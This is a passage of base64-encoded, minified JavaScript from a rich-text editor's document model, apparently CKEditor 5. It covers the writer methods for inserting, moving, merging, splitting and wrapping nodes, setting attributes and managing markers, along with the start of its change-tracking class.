ZSl9aW5zZXJ0KHQsZSxuPTApe3RoaXMuX2Fzc2VydFdyaXRlclVzZWRDb3JyZWN0bHkoKTtpZih0IGluc3RhbmNlb2YgR2gmJnQuZGF0YT09IiIpe3JldHVybn1jb25zdCBpPUpoLl9jcmVhdGVBdChlLG4pO2lmKHQucGFyZW50KXtpZihMZyh0LnJvb3QsaS5yb290KSl7dGhpcy5tb3ZlKGVmLl9jcmVhdGVPbih0KSxpKTtyZXR1cm59ZWxzZXtpZih0LnJvb3QuZG9jdW1lbnQpe3Rocm93IG5ldyBzc1siYSJdKCJtb2RlbC13cml0ZXItaW5zZXJ0LWZvcmJpZGRlbi1tb3ZlIix0aGlzKX1lbHNle3RoaXMucmVtb3ZlKHQpfX19Y29uc3Qgbz1pLnJvb3QuZG9jdW1lbnQ/aS5yb290LmRvY3VtZW50LnZlcnNpb246bnVsbDtjb25zdCByPW5ldyB5ZyhpLHQsbyk7aWYodCBpbnN0YW5jZW9mIEdoKXtyLnNob3VsZFJlY2VpdmVBdHRyaWJ1dGVzPXRydWV9dGhpcy5iYXRjaC5hZGRPcGVyYXRpb24ocik7dGhpcy5tb2RlbC5hcHBseU9wZXJhdGlvbihyKTtpZih0IGluc3RhbmNlb2YgbGcpe2Zvcihjb25zdFtlLG5db2YgdC5tYXJrZXJzKXtjb25zdCB0PUpoLl9jcmVhdGVBdChuLnJvb3QsMCk7Y29uc3Qgbz1uZXcgZWYobi5zdGFydC5fZ2V0Q29tYmluZWQodCxpKSxuLmVuZC5fZ2V0Q29tYmluZWQodCxpKSk7Y29uc3Qgcj17cmFuZ2U6byx1c2luZ09wZXJhdGlvbjp0cnVlLGFmZmVjdHNEYXRhOnRydWV9O2lmKHRoaXMubW9kZWwubWFya2Vycy5oYXMoZSkpe3RoaXMudXBkYXRlTWFya2VyKGUscil9ZWxzZXt0aGlzLmFkZE1hcmtlcihlLHIpfX19fWluc2VydFRleHQodCxlLG4saSl7aWYoZSBpbnN0YW5jZW9mIGxnfHxlIGluc3RhbmNlb2YgcWh8fGUgaW5zdGFuY2VvZiBKaCl7dGhpcy5pbnNlcnQodGhpcy5jcmVhdGVUZXh0KHQpLGUsbil9ZWxzZXt0aGlzLmluc2VydCh0aGlzLmNyZWF0ZVRleHQodCxlKSxuLGkpfX1pbnNlcnRFbGVtZW50KHQsZSxuLGkpe2lmKGUgaW5zdGFuY2VvZiBsZ3x8ZSBpbnN0YW5jZW9mIHFofHxlIGluc3RhbmNlb2YgSmgpe3RoaXMuaW5zZXJ0KHRoaXMuY3JlYXRlRWxlbWVudCh0KSxlLG4pfWVsc2V7dGhpcy5pbnNlcnQodGhpcy5jcmVhdGVFbGVtZW50KHQsZSksbixpKX19YXBwZW5kKHQsZSl7dGhpcy5pbnNlcnQodCxlLCJlbmQiKX1hcHBlbmRUZXh0KHQsZSxuKXtpZihlIGluc3RhbmNlb2YgbGd8fGUgaW5zdGFuY2VvZiBxaCl7dGhpcy5pbnNlcnQodGhpcy5jcmVhdGVUZXh0KHQpLGUsImVuZCIpfWVsc2V7dGhpcy5pbnNlcnQodGhpcy5jcmVhdGVUZXh0KHQsZSksbiwiZW5kIil9fWFwcGVuZEVsZW1lbnQodCxlLG4pe2lmKGUgaW5zdGFuY2VvZiBsZ3x8ZSBpbnN0YW5jZW9mIHFoKXt0aGlzLmluc2VydCh0aGlzLmNyZWF0ZUVsZW1lbnQodCksZSwiZW5kIil9ZWxzZXt0aGlzLmluc2VydCh0aGlzLmNyZWF0ZUVsZW1lbnQodCxlKSxuLCJlbmQiKX19c2V0QXR0cmlidXRlKHQsZSxuKXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7aWYobiBpbnN0YW5jZW9mIGVmKXtjb25zdCBpPW4uZ2V0TWluaW1hbEZsYXRSYW5nZXMoKTtmb3IoY29uc3QgbiBvZiBpKXtOZyh0aGlzLHQsZSxuKX19ZWxzZXtCZyh0aGlzLHQsZSxuKX19c2V0QXR0cmlidXRlcyh0LGUpe2Zvcihjb25zdFtuLGldb2YgR3ModCkpe3RoaXMuc2V0QXR0cmlidXRlKG4saSxlKX19cmVtb3ZlQXR0cmlidXRlKHQsZSl7dGhpcy5fYXNzZXJ0V3JpdGVyVXNlZENvcnJlY3RseSgpO2lmKGUgaW5zdGFuY2VvZiBlZil7Y29uc3Qgbj1lLmdldE1pbmltYWxGbGF0UmFuZ2VzKCk7Zm9yKGNvbnN0IGUgb2Ygbil7TmcodGhpcyx0LG51bGwsZSl9fWVsc2V7QmcodGhpcyx0LG51bGwsZSl9fWNsZWFyQXR0cmlidXRlcyh0KXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7Y29uc3QgZT10PT57Zm9yKGNvbnN0IGUgb2YgdC5nZXRBdHRyaWJ1dGVLZXlzKCkpe3RoaXMucmVtb3ZlQXR0cmlidXRlKGUsdCl9fTtpZighKHQgaW5zdGFuY2VvZiBlZikpe2UodCl9ZWxzZXtmb3IoY29uc3QgbiBvZiB0LmdldEl0ZW1zKCkpe2Uobil9fX1tb3ZlKHQsZSxuKXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7aWYoISh0IGluc3RhbmNlb2YgZWYpKXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLW1vdmUtaW52YWxpZC1yYW5nZSIsdGhpcyl9aWYoIXQuaXNGbGF0KXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLW1vdmUtcmFuZ2Utbm90LWZsYXQiLHRoaXMpfWNvbnN0IGk9SmguX2NyZWF0ZUF0KGUsbik7aWYoaS5pc0VxdWFsKHQuc3RhcnQpKXtyZXR1cm59dGhpcy5fYWRkT3BlcmF0aW9uRm9yQWZmZWN0ZWRNYXJrZXJzKCJtb3ZlIix0KTtpZighTGcodC5yb290LGkucm9vdCkpe3Rocm93IG5ldyBzc1siYSJdKCJ3cml0ZXItbW92ZS1kaWZmZXJlbnQtZG9jdW1lbnQiLHRoaXMpfWNvbnN0IG89dC5yb290LmRvY3VtZW50P3Qucm9vdC5kb2N1bWVudC52ZXJzaW9uOm51bGw7Y29uc3Qgcj1uZXcgdmcodC5zdGFydCx0LmVuZC5vZmZzZXQtdC5zdGFydC5vZmZzZXQsaSxvKTt0aGlzLmJhdGNoLmFkZE9wZXJhdGlvbihyKTt0aGlzLm1vZGVsLmFwcGx5T3BlcmF0aW9uKHIpfXJlbW92ZSh0KXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7Y29uc3QgZT10IGluc3RhbmNlb2YgZWY/dDplZi5fY3JlYXRlT24odCk7Y29uc3Qgbj1lLmdldE1pbmltYWxGbGF0UmFuZ2VzKCkucmV2ZXJzZSgpO2Zvcihjb25zdCB0IG9mIG4pe3RoaXMuX2FkZE9wZXJhdGlvbkZvckFmZmVjdGVkTWFya2VycygibW92ZSIsdCk7emcodC5zdGFydCx0LmVuZC5vZmZzZXQtdC5zdGFydC5vZmZzZXQsdGhpcy5iYXRjaCx0aGlzLm1vZGVsKX19bWVyZ2UodCl7dGhpcy5fYXNzZXJ0V3JpdGVyVXNlZENvcnJlY3RseSgpO2NvbnN0IGU9dC5ub2RlQmVmb3JlO2NvbnN0IG49dC5ub2RlQWZ0ZXI7dGhpcy5fYWRkT3BlcmF0aW9uRm9yQWZmZWN0ZWRNYXJrZXJzKCJtZXJnZSIsdCk7aWYoIShlIGluc3RhbmNlb2YgcWgpKXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLW1lcmdlLW5vLWVsZW1lbnQtYmVmb3JlIix0aGlzKX1pZighKG4gaW5zdGFuY2VvZiBxaCkpe3Rocm93IG5ldyBzc1siYSJdKCJ3cml0ZXItbWVyZ2Utbm8tZWxlbWVudC1hZnRlciIsdGhpcyl9aWYoIXQucm9vdC5kb2N1bWVudCl7dGhpcy5fbWVyZ2VEZXRhY2hlZCh0KX1lbHNle3RoaXMuX21lcmdlKHQpfX1jcmVhdGVQb3NpdGlvbkZyb21QYXRoKHQsZSxuKXtyZXR1cm4gdGhpcy5tb2RlbC5jcmVhdGVQb3NpdGlvbkZyb21QYXRoKHQsZSxuKX1jcmVhdGVQb3NpdGlvbkF0KHQsZSl7cmV0dXJuIHRoaXMubW9kZWwuY3JlYXRlUG9zaXRpb25BdCh0LGUpfWNyZWF0ZVBvc2l0aW9uQWZ0ZXIodCl7cmV0dXJuIHRoaXMubW9kZWwuY3JlYXRlUG9zaXRpb25BZnRlcih0KX1jcmVhdGVQb3NpdGlvbkJlZm9yZSh0KXtyZXR1cm4gdGhpcy5tb2RlbC5jcmVhdGVQb3NpdGlvbkJlZm9yZSh0KX1jcmVhdGVSYW5nZSh0LGUpe3JldHVybiB0aGlzLm1vZGVsLmNyZWF0ZVJhbmdlKHQsZSl9Y3JlYXRlUmFuZ2VJbih0KXtyZXR1cm4gdGhpcy5tb2RlbC5jcmVhdGVSYW5nZUluKHQpfWNyZWF0ZVJhbmdlT24odCl7cmV0dXJuIHRoaXMubW9kZWwuY3JlYXRlUmFuZ2VPbih0KX1jcmVhdGVTZWxlY3Rpb24odCxlLG4pe3JldHVybiB0aGlzLm1vZGVsLmNyZWF0ZVNlbGVjdGlvbih0LGUsbil9X21lcmdlRGV0YWNoZWQodCl7Y29uc3QgZT10Lm5vZGVCZWZvcmU7Y29uc3Qgbj10Lm5vZGVBZnRlcjt0aGlzLm1vdmUoZWYuX2NyZWF0ZUluKG4pLEpoLl9jcmVhdGVBdChlLCJlbmQiKSk7dGhpcy5yZW1vdmUobil9X21lcmdlKHQpe2NvbnN0IGU9SmguX2NyZWF0ZUF0KHQubm9kZUJlZm9yZSwiZW5kIik7Y29uc3Qgbj1KaC5fY3JlYXRlQXQodC5ub2RlQWZ0ZXIsMCk7Y29uc3QgaT10LnJvb3QuZG9jdW1lbnQuZ3JhdmV5YXJkO2NvbnN0IG89bmV3IEpoKGksWzBdKTtjb25zdCByPXQucm9vdC5kb2N1bWVudC52ZXJzaW9uO2NvbnN0IHM9bmV3IE1nKG4sdC5ub2RlQWZ0ZXIubWF4T2Zmc2V0LGUsbyxyKTt0aGlzLmJhdGNoLmFkZE9wZXJhdGlvbihzKTt0aGlzLm1vZGVsLmFwcGx5T3BlcmF0aW9uKHMpfXJlbmFtZSh0LGUpe3RoaXMuX2Fzc2VydFdyaXRlclVzZWRDb3JyZWN0bHkoKTtpZighKHQgaW5zdGFuY2VvZiBxaCkpe3Rocm93IG5ldyBzc1siYSJdKCJ3cml0ZXItcmVuYW1lLW5vdC1lbGVtZW50LWluc3RhbmNlIix0aGlzKX1jb25zdCBuPXQucm9vdC5kb2N1bWVudD90LnJvb3QuZG9jdW1lbnQudmVyc2lvbjpudWxsO2NvbnN0IGk9bmV3IERnKEpoLl9jcmVhdGVCZWZvcmUodCksdC5uYW1lLGUsbik7dGhpcy5iYXRjaC5hZGRPcGVyYXRpb24oaSk7dGhpcy5tb2RlbC5hcHBseU9wZXJhdGlvbihpKX1zcGxpdCh0LGUpe3RoaXMuX2Fzc2VydFdyaXRlclVzZWRDb3JyZWN0bHkoKTtsZXQgbj10LnBhcmVudDtpZighbi5wYXJlbnQpe3Rocm93IG5ldyBzc1siYSJdKCJ3cml0ZXItc3BsaXQtZWxlbWVudC1uby1wYXJlbnQiLHRoaXMpfWlmKCFlKXtlPW4ucGFyZW50fWlmKCF0LnBhcmVudC5nZXRBbmNlc3RvcnMoe2luY2x1ZGVTZWxmOnRydWV9KS5pbmNsdWRlcyhlKSl7dGhyb3cgbmV3IHNzWyJhIl0oIndyaXRlci1zcGxpdC1pbnZhbGlkLWxpbWl0LWVsZW1lbnQiLHRoaXMpfWxldCBpLG87ZG97Y29uc3QgZT1uLnJvb3QuZG9jdW1lbnQ/bi5yb290LmRvY3VtZW50LnZlcnNpb246bnVsbDtjb25zdCByPW4ubWF4T2Zmc2V0LXQub2Zmc2V0O2NvbnN0IHM9bmV3IFNnKHQscixudWxsLGUpO3RoaXMuYmF0Y2guYWRkT3BlcmF0aW9uKHMpO3RoaXMubW9kZWwuYXBwbHlPcGVyYXRpb24ocyk7aWYoIWkmJiFvKXtpPW47bz10LnBhcmVudC5uZXh0U2libGluZ310PXRoaXMuY3JlYXRlUG9zaXRpb25BZnRlcih0LnBhcmVudCk7bj10LnBhcmVudH13aGlsZShuIT09ZSk7cmV0dXJue3Bvc2l0aW9uOnQscmFuZ2U6bmV3IGVmKEpoLl9jcmVhdGVBdChpLCJlbmQiKSxKaC5fY3JlYXRlQXQobywwKSl9fXdyYXAodCxlKXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7aWYoIXQuaXNGbGF0KXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLXdyYXAtcmFuZ2Utbm90LWZsYXQiLHRoaXMpfWNvbnN0IG49ZSBpbnN0YW5jZW9mIHFoP2U6bmV3IHFoKGUpO2lmKG4uY2hpbGRDb3VudD4wKXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLXdyYXAtZWxlbWVudC1ub3QtZW1wdHkiLHRoaXMpfWlmKG4ucGFyZW50IT09bnVsbCl7dGhyb3cgbmV3IHNzWyJhIl0oIndyaXRlci13cmFwLWVsZW1lbnQtYXR0YWNoZWQiLHRoaXMpfXRoaXMuaW5zZXJ0KG4sdC5zdGFydCk7Y29uc3QgaT1uZXcgZWYodC5zdGFydC5nZXRTaGlmdGVkQnkoMSksdC5lbmQuZ2V0U2hpZnRlZEJ5KDEpKTt0aGlzLm1vdmUoaSxKaC5fY3JlYXRlQXQobiwwKSl9dW53cmFwKHQpe3RoaXMuX2Fzc2VydFdyaXRlclVzZWRDb3JyZWN0bHkoKTtpZih0LnBhcmVudD09PW51bGwpe3Rocm93IG5ldyBzc1siYSJdKCJ3cml0ZXItdW53cmFwLWVsZW1lbnQtbm8tcGFyZW50Iix0aGlzKX10aGlzLm1vdmUoZWYuX2NyZWF0ZUluKHQpLHRoaXMuY3JlYXRlUG9zaXRpb25BZnRlcih0KSk7dGhpcy5yZW1vdmUodCl9YWRkTWFya2VyKHQsZSl7dGhpcy5fYXNzZXJ0V3JpdGVyVXNlZENvcnJlY3RseSgpO2lmKCFlfHx0eXBlb2YgZS51c2luZ09wZXJhdGlvbiE9ImJvb2xlYW4iKXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLWFkZG1hcmtlci1uby11c2luZ29wZXJhdGlvbiIsdGhpcyl9Y29uc3Qgbj1lLnVzaW5nT3BlcmF0aW9uO2NvbnN0IGk9ZS5yYW5nZTtjb25zdCBvPWUuYWZmZWN0c0RhdGE9PT11bmRlZmluZWQ/ZmFsc2U6ZS5hZmZlY3RzRGF0YTtpZih0aGlzLm1vZGVsLm1hcmtlcnMuaGFzKHQpKXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLWFkZG1hcmtlci1tYXJrZXItZXhpc3RzIix0aGlzKX1pZighaSl7dGhyb3cgbmV3IHNzWyJhIl0oIndyaXRlci1hZGRtYXJrZXItbm8tcmFuZ2UiLHRoaXMpfWlmKCFuKXtyZXR1cm4gdGhpcy5tb2RlbC5tYXJrZXJzLl9zZXQodCxpLG4sbyl9UGcodGhpcyx0LG51bGwsaSxvKTtyZXR1cm4gdGhpcy5tb2RlbC5tYXJrZXJzLmdldCh0KX11cGRhdGVNYXJrZXIodCxlKXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7Y29uc3Qgbj10eXBlb2YgdD09InN0cmluZyI/dDp0Lm5hbWU7Y29uc3QgaT10aGlzLm1vZGVsLm1hcmtlcnMuZ2V0KG4pO2lmKCFpKXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLXVwZGF0ZW1hcmtlci1tYXJrZXItbm90LWV4aXN0cyIsdGhpcyl9aWYoIWUpe3RoaXMubW9kZWwubWFya2Vycy5fcmVmcmVzaChpKTtyZXR1cm59Y29uc3Qgbz10eXBlb2YgZS51c2luZ09wZXJhdGlvbj09ImJvb2xlYW4iO2NvbnN0IHI9dHlwZW9mIGUuYWZmZWN0c0RhdGE9PSJib29sZWFuIjtjb25zdCBzPXI/ZS5hZmZlY3RzRGF0YTppLmFmZmVjdHNEYXRhO2lmKCFvJiYhZS5yYW5nZSYmIXIpe3Rocm93IG5ldyBzc1siYSJdKCJ3cml0ZXItdXBkYXRlbWFya2VyLXdyb25nLW9wdGlvbnMiLHRoaXMpfWNvbnN0IGE9aS5nZXRSYW5nZSgpO2NvbnN0IGM9ZS5yYW5nZT9lLnJhbmdlOmE7aWYobyYmZS51c2luZ09wZXJhdGlvbiE9PWkubWFuYWdlZFVzaW5nT3BlcmF0aW9ucyl7aWYoZS51c2luZ09wZXJhdGlvbil7UGcodGhpcyxuLG51bGwsYyxzKX1lbHNle1BnKHRoaXMsbixhLG51bGwscyk7dGhpcy5tb2RlbC5tYXJrZXJzLl9zZXQobixjLHVuZGVmaW5lZCxzKX1yZXR1cm59aWYoaS5tYW5hZ2VkVXNpbmdPcGVyYXRpb25zKXtQZyh0aGlzLG4sYSxjLHMpfWVsc2V7dGhpcy5tb2RlbC5tYXJrZXJzLl9zZXQobixjLHVuZGVmaW5lZCxzKX19cmVtb3ZlTWFya2VyKHQpe3RoaXMuX2Fzc2VydFdyaXRlclVzZWRDb3JyZWN0bHkoKTtjb25zdCBlPXR5cGVvZiB0PT0ic3RyaW5nIj90OnQubmFtZTtpZighdGhpcy5tb2RlbC5tYXJrZXJzLmhhcyhlKSl7dGhyb3cgbmV3IHNzWyJhIl0oIndyaXRlci1yZW1vdmVtYXJrZXItbm8tbWFya2VyIix0aGlzKX1jb25zdCBuPXRoaXMubW9kZWwubWFya2Vycy5nZXQoZSk7aWYoIW4ubWFuYWdlZFVzaW5nT3BlcmF0aW9ucyl7dGhpcy5tb2RlbC5tYXJrZXJzLl9yZW1vdmUoZSk7cmV0dXJufWNvbnN0IGk9bi5nZXRSYW5nZSgpO1BnKHRoaXMsZSxpLG51bGwsbi5hZmZlY3RzRGF0YSl9c2V0U2VsZWN0aW9uKHQsZSxuKXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7dGhpcy5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb24uX3NldFRvKHQsZSxuKX1zZXRTZWxlY3Rpb25Gb2N1cyh0LGUpe3RoaXMuX2Fzc2VydFdyaXRlclVzZWRDb3JyZWN0bHkoKTt0aGlzLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5fc2V0Rm9jdXModCxlKX1zZXRTZWxlY3Rpb25BdHRyaWJ1dGUodCxlKXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7aWYodHlwZW9mIHQ9PT0ic3RyaW5nIil7dGhpcy5fc2V0U2VsZWN0aW9uQXR0cmlidXRlKHQsZSl9ZWxzZXtmb3IoY29uc3RbZSxuXW9mIEdzKHQpKXt0aGlzLl9zZXRTZWxlY3Rpb25BdHRyaWJ1dGUoZSxuKX19fXJlbW92ZVNlbGVjdGlvbkF0dHJpYnV0ZSh0KXt0aGlzLl9hc3NlcnRXcml0ZXJVc2VkQ29ycmVjdGx5KCk7aWYodHlwZW9mIHQ9PT0ic3RyaW5nIil7dGhpcy5fcmVtb3ZlU2VsZWN0aW9uQXR0cmlidXRlKHQpfWVsc2V7Zm9yKGNvbnN0IGUgb2YgdCl7dGhpcy5fcmVtb3ZlU2VsZWN0aW9uQXR0cmlidXRlKGUpfX19b3ZlcnJpZGVTZWxlY3Rpb25HcmF2aXR5KCl7cmV0dXJuIHRoaXMubW9kZWwuZG9jdW1lbnQuc2VsZWN0aW9uLl9vdmVycmlkZUdyYXZpdHkoKX1yZXN0b3JlU2VsZWN0aW9uR3Jhdml0eSh0KXt0aGlzLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5fcmVzdG9yZUdyYXZpdHkodCl9X3NldFNlbGVjdGlvbkF0dHJpYnV0ZSh0LGUpe2NvbnN0IG49dGhpcy5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247aWYobi5pc0NvbGxhcHNlZCYmbi5hbmNob3IucGFyZW50LmlzRW1wdHkpe2NvbnN0IGk9X2YuX2dldFN0b3JlQXR0cmlidXRlS2V5KHQpO3RoaXMuc2V0QXR0cmlidXRlKGksZSxuLmFuY2hvci5wYXJlbnQpfW4uX3NldEF0dHJpYnV0ZSh0LGUpfV9yZW1vdmVTZWxlY3Rpb25BdHRyaWJ1dGUodCl7Y29uc3QgZT10aGlzLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbjtpZihlLmlzQ29sbGFwc2VkJiZlLmFuY2hvci5wYXJlbnQuaXNFbXB0eSl7Y29uc3Qgbj1fZi5fZ2V0U3RvcmVBdHRyaWJ1dGVLZXkodCk7dGhpcy5yZW1vdmVBdHRyaWJ1dGUobixlLmFuY2hvci5wYXJlbnQpfWUuX3JlbW92ZUF0dHJpYnV0ZSh0KX1fYXNzZXJ0V3JpdGVyVXNlZENvcnJlY3RseSgpe2lmKHRoaXMubW9kZWwuX2N1cnJlbnRXcml0ZXIhPT10aGlzKXt0aHJvdyBuZXcgc3NbImEiXSgid3JpdGVyLWluY29ycmVjdC11c2UiLHRoaXMpfX1fYWRkT3BlcmF0aW9uRm9yQWZmZWN0ZWRNYXJrZXJzKHQsZSl7Zm9yKGNvbnN0IG4gb2YgdGhpcy5tb2RlbC5tYXJrZXJzKXtpZighbi5tYW5hZ2VkVXNpbmdPcGVyYXRpb25zKXtjb250aW51ZX1jb25zdCBpPW4uZ2V0UmFuZ2UoKTtsZXQgbz1mYWxzZTtpZih0PT09Im1vdmUiKXtvPWUuY29udGFpbnNQb3NpdGlvbihpLnN0YXJ0KXx8ZS5zdGFydC5pc0VxdWFsKGkuc3RhcnQpfHxlLmNvbnRhaW5zUG9zaXRpb24oaS5lbmQpfHxlLmVuZC5pc0VxdWFsKGkuZW5kKX1lbHNle2NvbnN0IHQ9ZS5ub2RlQmVmb3JlO2NvbnN0IG49ZS5ub2RlQWZ0ZXI7Y29uc3Qgcj1pLnN0YXJ0LnBhcmVudD09dCYmaS5zdGFydC5pc0F0RW5kO2NvbnN0IHM9aS5lbmQucGFyZW50PT1uJiZpLmVuZC5vZmZzZXQ9PTA7Y29uc3QgYT1pLmVuZC5ub2RlQWZ0ZXI9PW47Y29uc3QgYz1pLnN0YXJ0Lm5vZGVBZnRlcj09bjtvPXJ8fHN8fGF8fGN9aWYobyl7dGhpcy51cGRhdGVNYXJrZXIobi5uYW1lLHtyYW5nZTppfSl9fX19ZnVuY3Rpb24gTmcodCxlLG4saSl7Y29uc3Qgbz10Lm1vZGVsO2NvbnN0IHI9by5kb2N1bWVudDtsZXQgcz1pLnN0YXJ0O2xldCBhO2xldCBjO2xldCBsO2Zvcihjb25zdCB0IG9mIGkuZ2V0V2Fsa2VyKHtzaGFsbG93OnRydWV9KSl7bD10Lml0ZW0uZ2V0QXR0cmlidXRlKGUpO2lmKGEmJmMhPWwpe2lmKGMhPW4pe2QoKX1zPWF9YT10Lm5leHRQb3NpdGlvbjtjPWx9aWYoYSBpbnN0YW5jZW9mIEpoJiZhIT1zJiZjIT1uKXtkKCl9ZnVuY3Rpb24gZCgpe2NvbnN0IGk9bmV3IGVmKHMsYSk7Y29uc3QgbD1pLnJvb3QuZG9jdW1lbnQ/ci52ZXJzaW9uOm51bGw7Y29uc3QgZD1uZXcgQWcoaSxlLGMsbixsKTt0LmJhdGNoLmFkZE9wZXJhdGlvbihkKTtvLmFwcGx5T3BlcmF0aW9uKGQpfX1mdW5jdGlvbiBCZyh0LGUsbixpKXtjb25zdCBvPXQubW9kZWw7Y29uc3Qgcj1vLmRvY3VtZW50O2NvbnN0IHM9aS5nZXRBdHRyaWJ1dGUoZSk7bGV0IGEsYztpZihzIT1uKXtjb25zdCBsPWkucm9vdD09PWk7aWYobCl7Y29uc3QgdD1pLmRvY3VtZW50P3IudmVyc2lvbjpudWxsO2M9bmV3IEVnKGksZSxzLG4sdCl9ZWxzZXthPW5ldyBlZihKaC5fY3JlYXRlQmVmb3JlKGkpLHQuY3JlYXRlUG9zaXRpb25BZnRlcihpKSk7Y29uc3Qgbz1hLnJvb3QuZG9jdW1lbnQ/ci52ZXJzaW9uOm51bGw7Yz1uZXcgQWcoYSxlLHMsbixvKX10LmJhdGNoLmFkZE9wZXJhdGlvbihjKTtvLmFwcGx5T3BlcmF0aW9uKGMpfX1mdW5jdGlvbiBQZyh0LGUsbixpLG8pe2NvbnN0IHI9dC5tb2RlbDtjb25zdCBzPXIuZG9jdW1lbnQ7Y29uc3QgYT1uZXcgeGcoZSxuLGksci5tYXJrZXJzLG8scy52ZXJzaW9uKTt0LmJhdGNoLmFkZE9wZXJhdGlvbihhKTtyLmFwcGx5T3BlcmF0aW9uKGEpfWZ1bmN0aW9uIHpnKHQsZSxuLGkpe2xldCBvO2lmKHQucm9vdC5kb2N1bWVudCl7Y29uc3Qgbj1pLmRvY3VtZW50O2NvbnN0IHI9bmV3IEpoKG4uZ3JhdmV5YXJkLFswXSk7bz1uZXcgdmcodCxlLHIsbi52ZXJzaW9uKX1lbHNle289bmV3IF9nKHQsZSl9bi5hZGRPcGVyYXRpb24obyk7aS5hcHBseU9wZXJhdGlvbihvKX1mdW5jdGlvbiBMZyh0LGUpe2lmKHQ9PT1lKXtyZXR1cm4gdHJ1ZX1pZih0IGluc3RhbmNlb2YgVGcmJmUgaW5zdGFuY2VvZiBUZyl7cmV0dXJuIHRydWV9cmV0dXJuIGZhbHNlfWNsYXNzIE9ne2NvbnN0cnVjdG9yKHQpe3RoaXMuX21hcmtlckNvbGxlY3Rpb249dDt0aGlzLl9jaGFuZ2VzSW5FbGVtZW50PW5ldyBNYXA7dGhpcy5fZWxlbWVudFNuYXBzaG90cz1uZXcgTWFwO3RoaXMuX2NoYW5nZWRNYXJrZXJzPW5ldyBNYXA7dGhpcy5fY2hhbmdlQ291bnQ9MDt0aGlzLl9jYWNoZWRDaGFuZ2VzPW51bGw7dGhpcy5fY2FjaGVkQ2hhbmdlc1dpdGhHcmF2ZXlhcmQ9bnVsbH1nZXQgaXNFbXB0eSgpe3JldHVybiB0aGlzLl9jaGFuZ2VzSW5FbGVtZW50LnNpemU9PTAmJnRoaXMuX2NoYW5nZWRNYXJrZXJzLnNpemU9PTB9cmVmcmVzaEl0ZW0odCl7aWYodGhpcy5faXNJbkluc2VydGVkRWxlbWVudCh0LnBhcmVudCkpe3JldHVybn10aGlzLl9tYXJrUmVtb3ZlKHQucGFyZW50LHQuc3RhcnRPZmZzZXQsdC5vZmZzZXRTaXplKTt0aGlzLl9tYXJrSW5zZXJ0KHQucGFyZW50LHQuc3RhcnRPZmZzZXQsdC5vZmZzZXRTaXplKTtjb25zdCBlPWVmLl9jcmVhdGVPbih0KTtmb3IoY29uc3QgdCBvZiB0aGlzLl9tYXJrZXJDb2xsZWN0aW9uLmdldE1hcmtlcnNJbnRlcnNlY3RpbmdSYW5nZShlKSl7Y29uc3QgZT10LmdldFJhbmdlKCk7dGhpcy5idWZmZXJNYXJrZXJDaGFuZ2UodC5uYW1lLGUsZSx0LmFmZmVjdHNEYXRhKX10aGlzLl9jYWNoZWRDaGFuZ2VzPW51bGx9YnVmZmVyT3BlcmF0aW9uKHQpe3N3aXRjaCh0LnR5cGUpe2Nhc2UiaW5zZXJ0Ijp7aWYodGhpcy5faXNJbkluc2VydGVkRWxlbWVudCh0LnBvc2l0aW9uLnBhcmVudCkpe3JldHVybn10aGlzLl9tYXJrSW5zZXJ0KHQucG9zaXRpb24ucGFyZW50LHQucG9zaXRpb24ub2Zmc2V0LHQubm9kZXMubWF4T2Zmc2V0KTticmVha31jYXNlImFkZEF0dHJpYnV0ZSI6Y2FzZSJyZW1vdmVBdHRyaWJ1dGUiOmNhc2UiY2hhbmdlQXR0cmlidXRlIjp7Zm9yKGNvbnN0IGUgb2YgdC5yYW5nZS5nZXRJdGVtcyh7c2hhbGxvdzp0cnVlfSkpe2lmKHRoaXMuX2lzSW5JbnNlcnRlZEVsZW1lbnQoZS5wYXJlbnQpKXtjb250aW51ZX10aGlzLl9tYXJrQXR0cmlidXRlKGUpfWJyZWFrfWNhc2UicmVtb3ZlIjpjYXNlIm1vdmUiOmNhc2UicmVpbnNlcnQiOntpZih0LnNvdXJjZVBvc2l0aW9uLmlzRXF1YWwodC50YXJnZXRQb3NpdGlvbil8fHQuc291cmNlUG9zaXRpb24uZ2V0U2hpZnRlZEJ5KHQuaG93TWFueSkuaXNFcXVhbCh0LnRhcmdldFBvc2l0aW9uKSl7cmV0dXJufWNvbnN0IGU9dGhpcy5faXNJbkluc2VydGVkRWxlbWVudCh0LnNvdXJjZVBvc2l0aW9uLnBhcmVudCk7Y29uc3Qgbj10aGlzLl9pc0luSW5zZXJ0ZWRFbGVtZW50KHQudGFyZ2V0UG9zaXRpb24ucGFyZW50KTtpZighZSl7dGhpcy5fbWFya1JlbW92ZSh0LnNvdXJjZVBvc2l0aW9uLnBhcmVudCx0LnNvdXJjZVBvc2l0aW9uLm9mZnNldCx0Lmhvd01hbnkpfWlmKCFuKXt0aGlzLl9tYXJrSW5zZXJ0KHQudGFyZ2V0UG9zaXRpb24ucGFyZW50LHQuZ2V0TW92ZWRSYW5nZVN0YXJ0KCkub2Zmc2V0LHQuaG93TWFueSl9YnJlYWt9Y2FzZSJyZW5hbWUiOntpZih0aGlzLl9pc0luSW5zZXJ0ZWRFbGVtZW50KHQucG9zaXRpb24ucGFyZW50KSl7cmV0dXJufXRoaXMuX21hcmtSZW1vdmUodC5wb3NpdGlvbi